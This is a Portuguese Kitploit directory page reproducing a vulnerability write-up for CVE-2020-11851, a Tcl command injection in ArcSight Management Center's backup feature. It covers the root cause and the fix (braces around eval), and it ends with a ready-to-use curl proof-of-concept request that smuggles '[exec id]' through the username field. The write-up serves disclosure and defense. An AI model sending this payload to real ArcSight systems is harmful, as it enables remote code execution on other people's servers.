Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/ch1nghz/cve-2020-11851
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleFerramenta de Acesso Remoto
GitHubch1nghz/cve-2020-11851

CVE-2020-11851

Vulnerabilidade de Execução Remota de Código no ArcSight Logger

Ver Repositório
2015há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-11851

Vulnerabilidade de Execução Remota de Código no ArcSight Logger (via ArcSight Management Center)

https://nvd.nist.gov/vuln/detail/CVE-2020-11851

Resumo Executivo

Contexto da Vulnerabilidade

O ArcSight Logger é uma solução abrangente de gerenciamento de logs que reduz os encargos de conformidade e permite investigações forenses mais rápidas para profissionais de segurança, unificando e armazenando logs de dados de máquina de toda a organização e facilitando a pesquisa rápida e a geração de relatórios sobre esses dados.

O ArcSight Management Center (ArcMC) é um centro centralizado de gerenciamento de segurança que administra grandes implantações de soluções ArcSight, como ArcSight Logger, ArcSight SmartConnectors (Connectors), ArcSight FlexConnectors e ArcSight Connector Appliance (ConApp), por meio de uma única interface.

A vulnerabilidade pode ser explorada por meio da funcionalidade de backup do ArcSight Management Center (versão: 2.7.1.2065.0). Essa opção de backup funciona usando scripts "expect" do ArcSight Logger, que utilizam a Tool Command Language (Tcl). A vulnerabilidade permite que atacantes executem comandos Tcl arbitrários. Essa vulnerabilidade afeta o produto Micro Focus ArcSight Logger em todas as versões anteriores à 7.1.1.

Conclusão

O servidor que executa o software vulnerável pode ser comprometido por atacantes por meio da vulnerabilidade de RCE e se tornar uma cabeça de ponte a partir da qual um adversário poderia lançar ataques adicionais contra os servidores da organização, culminando em uma violação grave. Essa vulnerabilidade pode resultar em perda, corrupção ou divulgação de dados a partes não autorizadas, perda de responsabilização ou negação de acesso.

Recomendações

Recomenda-se verificar as práticas recomendadas de segurança Tcl para scripts "expect". Basicamente, usar chaves em eval seria seguro, como abaixo:

root@kitploit:~
eval puts $exploit   ;# vulnerável  

eval "puts $exploit" ;# vulnerável

eval {puts $exploit} ;# seguro

Mais informações podem ser encontradas aqui: https://wiki.tcl-lang.org/page/Injection+Attack

Contexto Técnico

Esta seção detalha vetores de injeção de comandos que podem ser usados para detectar a vulnerabilidade no ArcSight Logger. Os títulos abaixo podem ser usados para reproduzir as etapas do ataque.

Explorando a opção de backup vulnerável

Na aba de administração, há uma opção de backup.

1

Como podemos ver, podemos configurar um servidor de backup remoto usando o protocolo SCP. Após clicar no botão "Save", depurei os processos do servidor usando a ferramenta "pspy", que pode ser baixada aqui: https://github.com/DominicBreuker/pspy/releases

Depurando o servidor e análise da causa raiz

Após salvar a configuração de backup, detectei que o aplicativo usa um script bash para verificar o servidor SSH, como abaixo (observe o PID 95427):

2

Aqui está o comando mais detalhado (PID 95427) para explicação:

sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory

Vamos analisar o conteúdo de "runexpect.sh" e "scp.expect.dir.backup1" (script expect) antes de explicar a lógica de "runexpect.sh".

Aqui está o conteúdo de "runexpect.sh":

root@kitploit:~
#!/bin/sh  
	  
# Set LD_LIBRARY_PATH  
	  
export LD_LIBRARY_PATH=$1  
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH  
shift  
echo "Running command: $*"  
$*  
	  
exit $? 

E aqui está o conteúdo do script expect chamado "scp.expect.dir.backup1"

root@kitploit:~
set password [lindex $argv 0]  
set host [lindex $argv 1]  
set port [lindex $argv 2]  
set dir [lindex $argv 3]  
eval spawn ssh -p $port $host test -d $dir && echo exists  //Vulnerability begins here
expect "*(yes/no)?*$" { send "yes\n" }  
set timeout 600  
expect "*assword:*$" { send "$password\n" } \  
timeout { exit 1 }  
set timeout -1  
expect "\\$ $" 

Como podemos ver, "runexpect.sh" define a variável de ambiente (LD_LIBRARY_PATH) e então executa o binário "expect" usando o script "expect" chamado "scp.expect.dir.backup1". Esse script "expect" recebe 4 argumentos para usá-los no comando "ssh".

A vulnerabilidade real começa na linha 5 do script chamado "scp.expect.dir.backup1". Como mencionamos anteriormente, sem chaves, as entradas fornecidas pelo usuário podem ser muito perigosas em scripts Tcl.

Obtendo a execução de código

Como essa vulnerabilidade de execução de código é completamente cega, usei a maneira mais simples de demonstrar a execução. Usei a ferramenta "pspy" para depurar os processos e ilustrar a execução arbitrária de código enviando a solicitação HTTP maliciosa.

Aqui está a lógica que eu queria que o script "expect" executasse:

root@kitploit:~
eval spawn ssh –p [exec id]  test –d fakehostname && echo exists
[exec : this is argv1
id] : this is argv2
fakehostname : this is argv3
Expected behavior would be like this:
eval spawn ssh –p the_output_of_the_id_command test –d fakehostname && echo exists
# Because, [ ] in Tcl, looks like `` in bash. For more information about the Tcl syntax, please visit to https://wiki.tcl-lang.org/welcome

Vamos explicar como chegar a isso. Se eu colocar espaços entre as "strings" no parâmetro "field-username" da solicitação HTTP relacionada, ela seria interpretada involuntariamente pelo script "expect", porque ele não valida a contagem de argumentos, ou seja, eu poderia injetar [exec como o número da porta e id] como o nome de usuário. Normalmente, eu não poderia injetar o parâmetro de número da porta da solicitação HTTP relacionada por causa da validação de entrada (deveria ser apenas dígitos).

Após enviar a solicitação HTTP abaixo, executei o comando com sucesso e imprimi sua saída com a ferramenta "pspy".

3

4

Aqui está a solicitação CURL correspondente que usei para explorar a vulnerabilidade (por favor, modifique os tokens relacionados à sessão e o alvo):

root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    -b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    --data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
    $'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'
Baixar ferramenta